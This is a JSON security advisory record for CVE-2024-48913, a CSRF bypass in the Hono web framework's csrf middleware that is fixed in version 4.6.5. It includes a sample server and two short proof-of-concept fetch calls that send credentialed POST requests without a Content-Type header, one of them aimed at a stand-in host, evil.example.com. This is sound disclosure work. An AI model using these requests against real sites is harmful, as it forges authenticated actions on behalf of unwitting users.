{"id":"GHSA-2234-fmw7-43wr","summary":"Hono allows bypass of CSRF Middleware by a request without Content-Type header.","details":"### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) =\u003e {\n  return c.html('Hello Hono!')\n})\napp.post('/', async (c) =\u003e {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n\u003c!-- PoC.html --\u003e\n\u003cscript\u003e\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n\u003c/script\u003e\n\u003cinput type=\"button\" onclick=\"myclick()\" value=\"run\" /\u003e\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n","aliases":["CVE-2024-48913"],"modified":"2026-09-10T03:50:19.035733420Z","published":"2024-10-15T17:43:50Z","database_specific":{"github_reviewed_at":"2024-10-15T17:43:50Z","nvd_published_at":"2024-10-15T16:15:05Z","cwe_ids":["CWE-352"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48913"},{"type":"WEB","url":"https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82"},{"type":"PACKAGE","url":"https://github.com/honojs/hono"},{"type":"WEB","url":"https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89"}],"affected":[{"package":{"name":"hono","ecosystem":"npm","purl":"pkg:npm/hono"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.6.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-2234-fmw7-43wr/GHSA-2234-fmw7-43wr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N"}]}